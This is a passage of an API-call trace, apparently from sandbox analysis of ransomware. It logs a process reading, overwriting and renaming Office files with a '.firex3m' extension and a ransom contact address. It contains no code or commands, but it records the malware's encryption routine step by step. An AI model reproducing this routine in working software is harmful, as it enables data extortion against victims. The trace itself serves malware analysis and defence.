lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0154.764] GetProcessHeap () returned 0x630000 [0154.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3101) returned 0x6fa6e08 [0154.765] GetProcessHeap () returned 0x630000 [0154.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3101) returned 0x72b1668 [0154.765] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.765] ReadFile (in: hFile=0x694, lpBuffer=0x6fa6e08, nNumberOfBytesToRead=0x30e0, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa6e08*, lpNumberOfBytesRead=0x5d7ff0c*=0x30e0, lpOverlapped=0x0) returned 1 [0156.950] GetProcessHeap () returned 0x630000 [0156.950] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176f70 [0156.950] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.950] WriteFile (in: hFile=0x694, lpBuffer=0x72b1668*, nNumberOfBytesToWrite=0x30e0, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b1668*, lpNumberOfBytesWritten=0x5d7ff0c*=0x30e0, lpOverlapped=0x0) returned 1 [0156.950] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.950] WriteFile (in: hFile=0x694, lpBuffer=0x72b4747*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b4747*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0156.950] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.950] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0156.951] CloseHandle (hObject=0x694) returned 1 [0156.951] GetProcessHeap () returned 0x630000 [0156.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b1668 | out: hHeap=0x630000) returned 1 [0156.951] GetProcessHeap () returned 0x630000 [0156.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa6e08 | out: hHeap=0x630000) returned 1 [0156.951] GetProcessHeap () returned 0x630000 [0156.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176f70 | out: hHeap=0x630000) returned 1 [0156.951] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0156.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x238080c5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x310f, dwReserved0=0xaf87496, dwReserved1=0x6fa6e00, cFileName="Xlate_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XLATE_~1.FIR")) returned 0x6d4ec0 [0156.952] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0156.952] Sleep (dwMilliseconds=0x1) [0159.154] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml") returned 1 [0159.154] GetProcessHeap () returned 0x630000 [0159.154] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c10) returned 0x707d3d0 [0159.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0159.155] CloseHandle (hObject=0x410) returned 1 [0159.155] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0159.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0159.156] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0159.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fa, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5440 [0159.157] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0159.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0159.157] GetProcessHeap () returned 0x630000 [0159.157] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1101) returned 0x70825e8 [0159.157] GetProcessHeap () returned 0x630000 [0159.157] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1101) returned 0x72c38d0 [0159.158] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.158] ReadFile (in: hFile=0x410, lpBuffer=0x70825e8, nNumberOfBytesToRead=0x10e0, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70825e8*, lpNumberOfBytesRead=0x5d7ff0c*=0x10e0, lpOverlapped=0x0) returned 1 [0159.184] GetProcessHeap () returned 0x630000 [0159.184] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0159.184] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.184] WriteFile (in: hFile=0x410, lpBuffer=0x72c38d0*, nNumberOfBytesToWrite=0x10e0, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c38d0*, lpNumberOfBytesWritten=0x5d7ff0c*=0x10e0, lpOverlapped=0x0) returned 1 [0159.184] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.185] WriteFile (in: hFile=0x410, lpBuffer=0x72c49af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c49af*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.683] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.683] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.702] CloseHandle (hObject=0x410) returned 1 [0161.702] GetProcessHeap () returned 0x630000 [0161.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72c38d0 | out: hHeap=0x630000) returned 1 [0161.702] GetProcessHeap () returned 0x630000 [0161.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70825e8 | out: hHeap=0x630000) returned 1 [0161.702] GetProcessHeap () returned 0x630000 [0161.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0161.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.702] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26556d61, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x111e, dwReserved0=0xaf87496, dwReserved1=0x70825e0, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d53c0 [0161.703] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0161.703] Sleep (dwMilliseconds=0x1) [0163.822] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\PowerPivotExcelClientAddIn.rll") returned 1 [0163.822] GetProcessHeap () returned 0x630000 [0163.822] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c20) returned 0x707d3d0 [0163.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1060\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0165.458] CloseHandle (hObject=0x4bc) returned 1 [0165.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.458] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1060\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1060\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.357] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x3, dwReserved1=0x800001, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5440 [0168.358] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0168.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1060\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0168.358] GetProcessHeap () returned 0x630000 [0168.358] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70d5f98 [0168.358] GetProcessHeap () returned 0x630000 [0168.358] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70e13c8 [0168.358] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.358] ReadFile (in: hFile=0x4bc, lpBuffer=0x70d5f98, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d5f98*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.853] GetProcessHeap () returned 0x630000 [0176.853] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175f08 [0176.853] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.853] WriteFile (in: hFile=0x4bc, lpBuffer=0x70e13c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e13c8*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.854] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.854] WriteFile (in: hFile=0x4bc, lpBuffer=0x70ec7c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ec7c7*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.854] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.854] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.854] CloseHandle (hObject=0x4bc) returned 1 [0176.854] GetProcessHeap () returned 0x630000 [0176.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e13c8 | out: hHeap=0x630000) returned 1 [0176.984] GetProcessHeap () returned 0x630000 [0176.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d5f98 | out: hHeap=0x630000) returned 1 [0176.985] GetProcessHeap () returned 0x630000 [0176.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175f08 | out: hHeap=0x630000) returned 1 [0177.052] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.052] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2f5b810e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11884, dwReserved0=0xaf87496, dwReserved1=0x70d5f90, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5480 [0177.052] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0177.052] Sleep (dwMilliseconds=0x1) [0177.064] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC", len=0x44 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC") returned 1 [0177.064] GetProcessHeap () returned 0x630000 [0177.064] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b1c) returned 0x707d3d0 [0177.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.136] CloseHandle (hObject=0x714) returned 1 [0177.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.137] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIEA3F~1.FIR")) returned 0x6d4e40 [0177.137] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0177.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.137] GetProcessHeap () returned 0x630000 [0177.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c6a8 [0177.137] GetProcessHeap () returned 0x630000 [0177.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c118 [0177.137] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.137] ReadFile (in: hFile=0x714, lpBuffer=0x67c6a8, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c6a8*, lpNumberOfBytesRead=0x5d7ff0c*=0x280, lpOverlapped=0x0) returned 1 [0177.270] GetProcessHeap () returned 0x630000 [0177.270] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0177.270] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.270] WriteFile (in: hFile=0x714, lpBuffer=0x67c118*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c118*, lpNumberOfBytesWritten=0x5d7ff0c*=0x280, lpOverlapped=0x0) returned 1 [0177.270] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.270] WriteFile (in: hFile=0x714, lpBuffer=0x67c397*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c397*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.270] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.270] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.270] CloseHandle (hObject=0x714) returned 1 [0177.271] GetProcessHeap () returned 0x630000 [0177.271] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c118 | out: hHeap=0x630000) returned 1 [0177.271] GetProcessHeap () returned 0x630000 [0177.271] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c6a8 | out: hHeap=0x630000) returned 1 [0177.271] GetProcessHeap () returned 0x630000 [0177.271] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0177.271] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.271] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x2f9bde1a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x5d7fd20, dwReserved1=0x67c6a8, cFileName="WINPROJ_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIEA3F~1.FIR")) returned 0x6d5280 [0177.271] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.271] Sleep (dwMilliseconds=0x1) [0177.421] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC", len=0x46 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC") returned 1 [0177.421] GetProcessHeap () returned 0x630000 [0177.421] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ae0) returned 0x707d3d0 [0177.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.422] CloseHandle (hObject=0x678) returned 1 [0177.422] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, 